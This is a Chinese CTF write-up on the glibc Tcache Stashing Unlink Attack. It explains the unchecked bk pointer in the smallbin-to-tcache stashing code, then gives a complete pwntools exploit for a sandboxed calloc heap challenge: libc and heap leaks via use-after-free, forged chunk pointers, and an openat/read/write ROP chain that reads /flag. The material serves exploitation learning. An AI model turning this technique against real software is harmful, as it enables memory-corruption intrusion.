前言:

在开始了解这个攻击手法的前提,需要先了解一个函数也就是calloc函数,众所周知,当libc版本大于等于2.27的时候会引入tcachebin,而Tcache Stashing Unlink Attack就是发生在2.27版本以上,那么这个和calloc有什么关系呢,周知所众,当tcahchebin里面有符合条件的空闲堆块的时候,malloc会优先去tcachebin里面拿堆块,然而calloc不是这样,它会越过tcachebin来拿取堆块,这个特殊的机制,还有接下来的一个忽略的检查导致Tcache Stashing Unlink Attack的发生

smallbin:

当tcachebin里面的chunk不满,而smallbin里面有两个及以上的堆块的时候,通过calloc申请chunk的时候会取smallbin里面的chunk,因为此时的tcachebin不满,那么剩下的smallbin会放入tachchebin中,而这其中只对放入tcachebin的第一个chunk做了检查,那么可以把第二个chunk的bk指针进行修改,那么到tcachebin之后最后的fake_chunk的fd既可以执行main_arena+96的位置,当然在一些情况下还可以直接进入tcachebin伪造chunk

具体的漏洞源码和解释引用一下zikh26师傅的博客关于tcache stashing unlink attack的学习总结 | ZIKH26's Blog

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx); if ((victim = last (bin)) != bin)
//victim就是要脱链的堆块,也就是small bin里的最后一个
//这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
//如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
bin->bk = bck;//将victim脱链
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
{
mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
&& (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
{
if (tc_victim != 0)
{
bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;//将tc_victim从small bin中脱链
bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

例题:

蜀道山smash

保护策略

ida逆向分析

这里是开启了沙箱,可以先看看规则

禁用了execv以及open,那么还可以使用openat来进行orw读取flag

有个堆菜单

有个选项5,是存在溢出的

但是因为这个位置一开始是0的导致读入字节为0

但是又发现add函数是使用的calloc,那么可以考虑使用Tcache Stashing Unlink Attack来将此处写入main_arena+96很大的一个地址

那么造成栈溢出,正常rop即可

free函数存在uaf漏洞,那么可以泄露libc和heap地址

这里使用的0x100的堆块,那么就要伪造堆块,修改第一个堆块的bk指针

这里伪造的堆块是紧邻着修改chunk的上一个chunk

接下来继续伪造堆块,size位和bk指针

继续使用calloc申请一个堆块,那么即可触发Tcache Stashing Unlink Attack

那么接下来就是正常的rop即可

EXP:

from gt import *
con("amd64") io = process("./sma")
# io = remote("gz.imxbt.cn",20818) def add(size):
io.sendlineafter("choice:","1")
io.sendlineafter("size:",str(size)) def free(index):
io.sendlineafter("choice:","2")
io.sendlineafter("Idx:",str(index)) def edit(index,msg):
io.sendlineafter("choice:","3")
io.sendlineafter("Idx:",str(index))
io.sendafter("Content:",msg) def show(index):
io.sendlineafter("choice:","4")
io.sendlineafter("Idx:",str(index)) def backdoor():
io.sendlineafter("choice:","5") for i in range(10):
add(0x280) add(0x80) #10 for i in range(5):
add(0xf0) for i in range(7):
free(i) for i in range(5):
free(11+i) free(7) #gdb.attach(io)
show(7)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0
suc("libc_base",libc_base) gdb.attach(io)
add(0x180) #11
add(0x3a0) #12
free(9)
add(0x180) #13
add(0x3a0) #14 io.recvuntil("Add Ptr: ")
heap_base = int(io.recv(10),16) -0x3260 -0x2d0 -0x230
suc("heap_base",heap_base)
fd = heap_base + 0x27f0
suc("fd",fd)
heap = heap_base+0x2b90
suc("heap",heap)
# gdb.attach(io)
edit(9,b'a'*0x180+p64(0)+p64(0x101)+p64(fd)+p64(heap_base+0x2b90))
edit(9,p64(0)+p64(0x101)+p64(0)+p64(0x00000000004040C0-0x10)+b'/flag\x00')
add(0xf0)
io.sendlineafter("choice:","5")
payload = b'b'*0x38
pop_rax = libc_base + 0x0000000000036174
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
syscall = libc_base + 0x00000000000630a9 flag_addr = heap+0x20 # gdb.attach(io)
payload += p64(pop_rax) + p64(257)
payload += p64(pop_rdi) + p64(0xffffff9c)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(syscall)
# read
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# write
payload += p64(pop_rax) + p64(1)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# gdb.attach(io) io.send(payload)
# add(0xe0)
# io.recvuntil("Add Ptr: ")
# heap_base = int(io.recv(10),16) -0x2eb0
# suc("heap_base",heap_base) # gdb.attach(io)
io.interactive()

总结

Tcache Stashing Unlink Attack在calloc申请堆块的情况下无疑是一种不错的选择,它继承了2.29之后unsortbin attack的特性,同时在一定情况下还可以任意地址申请,是一个不错的攻击方法,因为平常遇到的有点少,但是还是得了解一下攻击方法什么的。

常回家看看之Tcache Stashing Unlink Attack的更多相关文章

  1. Tcahce Stashing Unlink Attack

    今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...

  2. glibc2.29以上 IO_FILE 及 house of pig

    摆烂很长时间之后,终于下定决心来看点新的东西.正好 winmt 师傅前不久把他 pig 修好的附件发给我了,我就借此来学习一下新版本的 IO_FILE 及 house of pig. 新版本的 IO_ ...

  3. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  4. 《Android插件化开发指南》面世

    本书在京东购买地址:https://item.jd.com/31178047689.html 本书Q群:389329264 (一)这是一本什么书 如果只把本书当作纯粹介绍Android插件化技术的书籍 ...

  5. C 基础框架开发

    引言 有的人真的是天命所归 延安时期炸弹 投到他院子都 没炸. 有些事无法改变 是命! 我们也快'老'了, 常回家看看. 前言 扯淡结束了,今天分享的可能有点多,都很简单,但是糅合在一起就是有点复杂. ...

  6. 利用Swoole实现PHP+websocket直播,即使通讯

    websocket Websocket只是一个网络通信协议,就像 http.ftp等都是网络通信的协议一样:相对于HTTP这种非持久的协议来说,Websocket是一个持久化网络通信的协议: WebS ...

  7. 高中最后一刻&大学第一课&为人师的责任

    文章不是技术文,只是分享一些感想,作为一只程序猿,不说好好敲代码,跑出来思考人生,不是合格的程序猿,罪过罪过,自我反思3秒钟,我们继续,毕竟程序猿的人生不只是Coding,也希望自己这点感想被更多刚入 ...

  8. PHP filesystem attack vectors - Take Two

    http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/ Did you enjoyed our previous &q ...

  9. Linux/Unix System Level Attack、Privilege Escalation(undone)

    目录 . How To Start A System Level Attack . Remote Access Attack . Local Access Attack . After Get Roo ...

  10. PHP常见面试题汇总(二)

    PHP常见面试题汇总(二)   //第51题:统计一维数组中所有值出现的次数?返回一个数组,其元素的键名是原数组的值;键值是该值在原数组中出现的次数 $array=array(4,5,1,2,3,1, ...

随机推荐

  1. SimpleAISearch:C# + DuckDuckGo 实现简单的AI搜索

    最近AI搜索很火爆,有Perplexity.秘塔AI.MindSearch.Perplexica.memfree.khoj等等. 在使用大语言模型的过程中,或许你也遇到了这种局限,就是无法获取网上最新 ...

  2. [30] CSP 加赛 1

    A.小W与伙伴招募 考虑贪心,可以发现,每一天只需要优先选择价值低的即可 这种贪心思路有一个错误的扩展,就是先把 \(m\) 天的货一次性补齐再一次性买,这样做的问题在于有可能买到次日的货,而这样做是 ...

  3. 《Vue.js 设计与实现》读书笔记 - 第8章、挂载与更新

    第8章.挂载与更新 8.1 挂载子节点和元素的属性 扩展子元素的类型可以为数组,并判断如果是数组的话,就先依次挂载所有的子元素. 同时新增节点属性.属性可以通过 el.setAttribute 添加到 ...

  4. CPU缓存伪共享

    CPU缓存什么东西?当然这个问题很多人有可能觉得比较傻,CPU缓存什么,肯定是缓存数据(代码)啊,要不然还能缓存啥,这个确实没问题,但是CPU到底缓存什么样的数据呢?因为对CPU来说,无论是指令,还是 ...

  5. 25. http 常见状态码

    状态码的分类: 2xx:表明请求被成功接收并处理 : 3xx:表示要完成请求,需要进一步操作. 通常,这些状态代码用来重定向 :重定向就是 从 a 地址跳转到 b 地址 : 4xx:客户端错误,请求错 ...

  6. kotlin类和对象—>属性与字段

    1.声明属性,Kotlin 类中的属性既可以用关键字 var 声明为可变的,也可以用关键字 val 声明为只读的 class Address { var name: String = "Ho ...

  7. fatal: couldn't find remote ref XXX解决

    .markdown-body { line-height: 1.75; font-weight: 400; font-size: 16px; overflow-x: hidden; color: rg ...

  8. 云原生周刊:12 个容易忽略的 Kubernetes 安装错误

    文章推荐 12 个容易忽略的 Kubernetes 安装错误 这篇文章总结了 12 个在 Kubernetes 安装过程中容易忽略但却必须注意的错误.这些错误包括: 没有正确安装 kubectl. 没 ...

  9. 快速部署pxc集群

    点击查看代码 同步 systemctl stop firewalld && systemctl disable firewalld systemctl stop NetworkMana ...

  10. python实战-编写请求方法重试(用途:请求重试、也可用于其他场景)、日志、执行耗时、手机号与邮箱校验装饰器

    更新日志 2023.2.9 增加重试装饰器 防止函数原信息被改变使用:@functools.wraps(func)装饰执行函数 # _*_ coding: UTF-8 _*_ "" ...